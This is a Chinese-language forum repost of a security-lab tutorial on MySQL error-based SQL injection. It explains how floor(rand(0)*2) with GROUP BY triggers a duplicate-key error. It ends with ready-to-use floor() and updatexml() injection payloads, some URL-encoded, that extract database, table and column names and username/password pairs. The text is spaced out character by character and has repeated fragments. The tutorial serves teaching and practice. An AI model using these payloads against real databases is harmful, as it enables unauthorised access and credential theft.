搜索

[26918] 2020-02-21_Mysql报错注入之函数分析

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-19
2020-02-21_Mysql报错注入之函数分析 M y s q l 报 错 注 入 之 函 数 分 析 原 创   s h a v c h e n   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 2 - 2 1 1 . f l o o r 函 数 学 习 中 遇 见 了   s e l e c t   c o u n t ( )   f r o m   t a b l e   g r o u p   b y   f l o o r ( r a n d ( 0 ) 2 ) ;   这 么 条 语 句 。 秉 持 着 不 求 甚 解 的 态 度 ， 在 此 做 个 总 结 。 首 先 ， 只 要 该 语 句 明 白 了 ， 那 么 类 似   s e l e c t   c o u n t ( ) , ( f l o o r ( r a n d ( 0 ) 2 ) ) x   f r o m   t a b l e   g r o u p   b y   x ;   这 样 的 变 形 语 句 基 本 上 都 可 以 变 通 （ 这 里 只 是 起 了 个 别 名 ） 。 基 本 的 查 询   s e l e c t   自 不 必 多 说 ， 剩 下 的 几 个 关 键 字 有   c o u n t   、 g r o u p   b y   、 f l o o r 、 r a n d 。 r a n d ( 0 ) * 2 r a n d ( )   可 以 产 生 一 个 在 0 和 1 之 间 的 随 机 数 。 可 见 ， 每 次 产 生 的 都 不 一 样 。 当 我 们 提 供 一 个 种 子 参 数   0   后 ， 再 次 查 看 ：
可 以 发 现 ， 每 次 产 生 的 值 都 是 一 样 的 。 也 可 以 称 之 为 伪 随 机 （ 产 生 的 数 据 都 是 可 预 知 的 ） 。 查 看 多 个 数 据 看 一 下 。 （   t e s t   是 我 之 前 创 建 的 一 个 拥 有 9 条 数 据 的 表 ） 发 现 第 一 条 数 据 与 刚 才 查 看 的 单 个 数 据 相 符 合 ， 其 它 的 数 据 也 完 全 一 样 。 为 什 么 要 乘 以   2   呢 ？ 这 就 要 配 合   f l o o r   函 数 来 说 了 。 f l o o r ( r a n d ( 0 ) * 2 ) f l o o r ( )   返 回 小 于 等 于 该 值 的 最 大 整 数 。 之 前 我 们 了 解 到 ， r a n d ( )   是 返 回   0   到   1   之 间 的 随 机 数 ， 那 么 乘   2   后 自 然 是 返 回   0
到   2   之 间 的 随 机 数 ， 再 配 合   f l o o r ( )   就 可 以 产 生 确 定 的 两 个 数 了 。 也 就 是   0   和   1 。 为 什 么 需 要 这 两 个 数 呢 ？ g r o u p   b y   与   c o u n t ( * ) g r o u p   b y   主 要 用 来 对 数 据 进 行 分 组 （ 相 同 的 分 为 一 组 ） ， 这 里 与 c o u n t ( )   结 合 使 用 。 举 个 例 子 就 一 目 了 然 了 。
可 以 观 察 到 ， 这 里 对 重 复 性 数 据 进 行 了 整 合 ， 然 后 计 数 。 重 点 来 了 ， 也 就 是 在 这 个 整 合 然 后 计 数 的 过 程 中 ， 中 间 发 生 了 什 么 我 们 是 必 须 要 明 白 的 。 经 过 网 上 查 询 ， 发 现 m y s q l 遇 到 该 语 句 时 会 建 立 一 个 虚 拟 表 。 该 虚 拟 表 有 两 个 字 段 ， 一 个 是 分 组 的   k e y   ， 一 个 是 计 数 值   c o u n t ( ) 。 也 就 对 应 于 上 个 截 图 中 的   p r o d _ p r i c e   和   c o u n t ( ) 。 然 后 在 查 询 数 据 的 时 候 ， 首 先 查 看 该 虚 拟 表 中 是 否 存 在 该 分 组 ， 如 果 存 在 那 么 计 数 值 加 在 查 询 数 据 的 时 候 ， 首 先 查 看 该 虚 拟 表 中 是 否 存 在 该 分 组 ， 如 果 存 在 那 么 计 数 值 加 1 ， 不 存 在 则 新 建 该 分 组 。 ， 不 存 在 则 新 建 该 分 组 。 先 来 解 释 一 下 c o u n t ( * ) 与 g r o u p   b y 是 如 何 共 同 工 作 的 。 首 先 ， 系 统 会 建 立 一 个 虚 拟 表 ： 假 设 有 表 ：
执 行 c o u n t ( * )   f r o m   . . .   g r o u p   b y   a g e 的 过 程 中 ， 会 形 成 这 样 的 虚 拟 表 : 它 是 如 何 一 步 步 形 成 这 张 表 的 呢 ？ 由 于 g r o u p   b y 的 是 a g e ， 第 一 次 读 取 的 就 是 1 8 ， 在 虚 拟 表 中 寻 找 是 否 已 经 存 在 1 8 ， 由 于 表 是 空 的 ， 直 接 插 入 一 条 新 数 据 ， 这 时 虚 拟 表 变 成 这 样 ： 继 续 。 下 一 个 是 1 9 ， 由 于 虚 拟 表 中 依 旧 没 有 k e y 为 1 9 的 字 段 ， 故 插 入 。 再 下 一 个 是 2 0 ， 继 续 插 入 。 再 下 一 个 又 是 2 0 。 由 于 已 经 有 了 2 0 ， 故 将 k e y 为 2 0 的 字 段 的 c o u n t ( * ) 的 值 加 1 ， 变 为 了 2 。 剩 下 的 以 此 类 推 ， 最 后 形 成 了 这 个 虚 拟 表 ： 好 了 ， 现 在 g r o u p   b y 原 理 讲 完 了 。 那 究 竟 是 如 何 将 其 与 f l o o r 联 合 起 来 ， 进 行 f l o o r 报 错 呢 ？ 先 来 回 顾 一 下 p a y l o a d : 总 体 是 一 个 g r o u p   b y 语 句 ， 只 不 过 这 里 g r o u p   b y 的 是 f l o o r ( r a n d ( 0 ) 2 ) 。 这 是 一 个 表 达 式 ， 每 次 运 算 的 值 都 是 随 机 的 。 还 记 得 我 刚 刚 说 的 f l o o r ( r a n d ( 0 ) 2 ) 的 值 序 列 开 头 是 0 1 1 0 1 1 . . . 吧 ？ s e l e c t   c o u n t ( * ) ,   f l o o r ( r a n d ( 0 ) * 2 )   a s   a   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   g r o u p   b y   a ;
o k ， 下 面 开 始 运 算 。 首 先 ， 建 立 一 张 虚 拟 表 ： 接 着 ， 进 行 g r o u p   b y   f l o o r ( r a n d ( 0 ) 2 ) 。 f l o o r 表 达 式 第 一 次 运 算 的 值 为 0 ， 在 表 中 没 有 找 到 k e y 为 0 的 数 据 ， 故 插 入 ， 在 插 入 的 过 程 中 需 要 再 取 一 次 g r o u p   b y 后 面 的 值 （ 即 再 进 行 一 次 f l o o r 运 算 ， 结 果 为 1 ） ， 取 到 了 1 ， 将 之 插 入 ， 并 将 c o u n t ( ) 置 1 。 继 续 ， 再 进 行 g r o u p   b y   f l o o r ( r a n d ( 0 ) 2 ) 。 进 行 f l o o r 表 达 式 运 算 ， 由 于 这 是 第 三 次 运 算 了 ， 故 值 为 1 。 刚 好 表 中 有 了 k e y 为 1 的 数 据 ， 故 直 接 将 其 对 应 的 c o u n t ( ) 加 1 即 可 。 继 续 进 行 g r o u p   b y 。 这 是 第 四 次 f l o o r 运 算 了 ， 根 据 刚 刚 那 个 0 1 1 0 1 1 序 列 ， 这 次 的 值 为 0 ， 在 表 中 找 是 否 有 k e y 为 0 的 数 据 。 当 然 没 有 ， 故 应 当 插 入 一 条 新 记 录 。 在 插 入 时 进 行 f l o o r 运 算 ( 就 像 第 一 次 g r o u p   b y 那 样 ) ， 这 时 的 值 为 1 ， 并 将 c o u n t ( * ) 置 1 。 可 是 你 会 说 ， 虚 拟 表 中 已 经 有 了 k e y 为 1 的 数 据 了 啊 。 对 ， 这 就 是 问 题 所 在 了 。 此 时 就 会 抛 出 主 键 冗 余 的 异 常 ， 也 就 是 所 谓 的 f l o o r 报 错 。
利 用 ： 报 错 分 析 r a n d ( ) 的 特 殊 性 而 又 因 为   r a n d   函 数 的 特 殊 性 （ 如 果 使 用 r a n d ( ) 的 话 ， 该 值 会 被 计 算 多 次 ） 。 在 这 里 的 意 思 就 是 ， g r o u p   b y   进 行 分 组 时 ， f l o o r ( r a n d ( 0 ) 2 )   执 行 一 次 （ 查 看 分 组 是 否 存 在 ） ， 如 果 虚 拟 表 中 不 存 在 该 分 组 ， 那 么 在 插 入 新 分 组 的 时 候   f l o o r ( r a n d ( 0 ) 2 )   就 又 计 算 了 一 次 。 其 实 在 上 述   r a n d ( 0 )   产 生 多 个 数 据 的 时 候 ， 也 能 观 察 出 来 。 只 要 只 要   r a n d ( 0 )   被 调 被 调 用 ， 一 定 会 产 生 新 值 用 ， 一 定 会 产 生 新 值 。 这 样 ， 所 有 的 理 论 细 节 就 全 部 明 朗 了 。 报 错 还 记 得 我 们 之 前 产 生 的 疑 问 ， 为 什 么 要 用   f l o o r ( r a n d ( 0 ) * 2 )   产 生   0   和   1   这 两 个 数 吗 ？ 当   g r o u p   b y   对 其 进 行 分 组 的 时 候 ， 首 先 遇 到 第 一 个 值   0   ， 发 现   0   不 存 在 ， 于 是 需 要 插 入 分 组 ， 就 在 这 时 ， f l o o r ( r a n d ( 0 ) * 2 ) 再 次 被 触 发 ， 生 成 第 二 个 值   1   ， 因 此 最 终 插 入 虚 拟 表 的 也 就 是 第 二 个 值   1 *   ； 然 后 遇 到 第 三 个 值   1   ， 因 为 已 经 存 在 分 组   1   了 ， 就 直 接 计 数 加 1 （ 这 时 1 的 计 数 变 为 2 ） ; 遇 到 第 四 个 值   0   的 时 候 ， 发 现   0   不 存 在 ， 于 是 又 需 要 插 入 新 分 组 ， 然 后 f l o o r ( r a n d ( 0 ) 2 ) 又 被 触 发 ， 生 成 第 五 个 值   1   ， 因 此 这 时 还 是 往 虚 拟 表 里 插 入 分 组   1   ， * * 但 是 ， 分 组   1   已 经 存 在 了 ！ 所 以 报 错 ！ s e l e c t   c o u n t ( * ) ,   c o n c a t ( ( s e l e c t   d a t a b a s e ( ) ) ,   ' - ' ,   f l o o r ( r a n d ( 0 ) * 2 ) )   a s   a   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   g r o u p   b y   a s e l e c t   c o u n t ( * )   f r o m   t e s t   g r o u p   b y   f l o o r ( r a n d ( 0 ) * 2 ) ;
f l o o r ( r a n d ( 0 ) * 2   的 作 用 就 是 产 生 预 知 的 数 字 序 列 0 1 1 0 1 ， 然 后 再 利 用   r a n d ( )   的 特 殊 性 和   g r o u p   b y   的 虚 拟 表 ， 最 终 引 起 了 报 错 。 利 用 f l o o r ( ) 报 错 : 2 . x p a t h 函 数 ： 主 要 的 两 个 函 数 ： M y s q l 5 . 1 . 5 u p d a t e x m l ( ) : 对 x m l 进 行 查 询 和 修 改 e x t r a c t v a l u e ( ) : 对 x m l 进 行 查 询 和 修 改 都 是 最 大 爆 3 2 位 。 提 示 输 出 信 息 超 过 一 行 ， 说 明 这 里 数 据 库 名 组 成 的 字 符 串 长 度 超 过 了 6 4 位 ( g r o u p c o n c a t ( ) 函 数 最 大 长 度 为 6 4 位 ) ， 所 以 需 要 放 弃 g r o u p c o n c a t ( ) 函 数 ， 而 使 用 l i m i t   0 , 1 来 一 个 个 输 出 。 l i m i t   0 , 1   表 示 输 出 第 一 个 数 据 。 0 表 示 输 出 的 起 始 位 置 ， 1 表 示 跨 度 为 1 （ 即 输 出 几 个 数 据 ， 1 表 示 输 出 一 个 ， 2 就 表 示 输 出 两 个 ） 注 入 公 式 （ P a y l o a d 为 自 己 想 获 取 内 容 的 脚 本 ） ： a n d ( s e l e c t   1   f r o m   ( s e l e c t   c o u n t ( * ) , c o n c a t ( c o n c a t ( p a y l o a d ) , f l o o r ( r a n d ( 0 ) * 2 ) ) x   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   g r o u p   b y   x a n d ( s e l e c t   1   f r o m   ( s e l e c t   c o u n t ( * ) , c o n c a t ( c o n c a t ( d a t a b a s e ( ) , 0 x 7 e ) , f l o o r ( r a n d ( 0 ) * 2 ) ) x   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   g r o u p   b y   x / / 暴 库 a n d ( s e l e c t   1   f r o m   ( s e l e c t   c o u n t ( * ) , c o n c a t ( c o n c a t ( ( s e l e c t   c o n c a t ( t a b l e _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a / / 查 询 表 a n d ( s e l e c t   1   f r o m   ( s e l e c t   c o u n t ( * ) , c o n c a t ( c o n c a t ( ( s e l e c t   c o n c a t ( c o l u m n _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ s c h e m a / / 查 询 字 段 a n d ( s e l e c t   1   f r o m   ( s e l e c t   c o u n t ( * ) , c o n c a t ( c o n c a t ( ( s e l e c t   c o n c a t ( u s e r n a m e , 0 x 7 e , p a s s w o r d , 0 x 7 e )   f r o m   s e c u r i t y . u s e r s   l i m i t   / / 查 询 字 段 内 容
参 考 ： h t t p : / / w w w . h e l l o m a o . t o p / 2 0 1 9 / 0 8 / 1 6 / w e b m y s q l f l o o r / # % E 6 % 8 A % A 5 % E 9 % 9 4 % 9 9 % E 5 % 8 8 % 8 6 % E 6 % 9 E % 9 0 扫 描 下 方 二 维 码 学 习 更 多 扫 描 下 方 二 维 码 学 习 更 多 W E B 安 全 知 识 ： 安 全 知 识 ： M s 0 8 0 6 7 安 全 实 验 室 安 全 实 验 室 专 注 于 普 及 网 络 安 全 知 识 。 团 队 已 出 版 《 W e b 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 《 内 网 安 全 攻 防 ： 《 内 网 安 全 攻 防 ： 渗 透 测 试 渗 透 测 试 a n d   u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( p a y l o a d ) , 0 x 7 e ) ) a n d   u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   u s e r ( ) ) , 0 x 7 e ) , 1 ) - - + / / 查 询 当 前 用 户 名 a n d   u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   d a t a b a s e ( ) ) , 0 x 7 e ) , 1 ) - - + / / 查 询 当 前 数 据 库 名 a n d   u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   s c h e m a _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . s c h e m a t a   l i m i t   0 , 1 ) , 0 x 7 e ) , 1 ) - - + / / 查 询 所 有 的 数 据 库 名 称   i d = 1 % 2 7 % 2 0 a n d % 2 0 u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t % 2 0 t a b l e _ n a m e % 2 0 f r o m % 2 0 i n f o r m a t i o n _ s c h e m a . t a b l e s % 2 0 w h e r e % 2 0 t a b l e / / 查 询 表 名   i d = 1 % 2 7 % 2 0 a n d % 2 0 u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t % 2 0 c o l u m n _ n a m e % 2 0 f r o m % 2 0 i n f o r m a t i o n _ s c h e m a . c o l u m n s % 2 0 w h e r e % 2 0 t a b l e / / 查 询 表 下 的 字 段 a n d   u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   c o n c a t ( u s e r n a m e , 0 x 7 e , p a s s w o r d )   f r o m   s e c u r i t y . u s e r s   l i m i t   0 , 1 ) , 0 x 7 e ) , 1 ) / / 爆 出 具 体 的 字 段 内 容 。
实 战 指 南 》 实 战 指 南 》 ， 目 前 在 编 P y t h o n 渗 透 测 试 ， J A V A 代 码 审 计 和 二 进 制 逆 向 方 面 的 书 籍 。 团 队 公 众 号 定 期 分 享 关 于 C T F 靶 场 、 内 网 渗 透 、 A P T 方 面 技 术 干 货 ， 从 零 开 始 、 以 实 战 落 地 为 主 ， 致 力 于 做 一 个 实 用 的 干 货 分 享 型 公 众 号 。 官 方 网 站 ： w w w . m s 0 8 0 6 7 . c o m
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理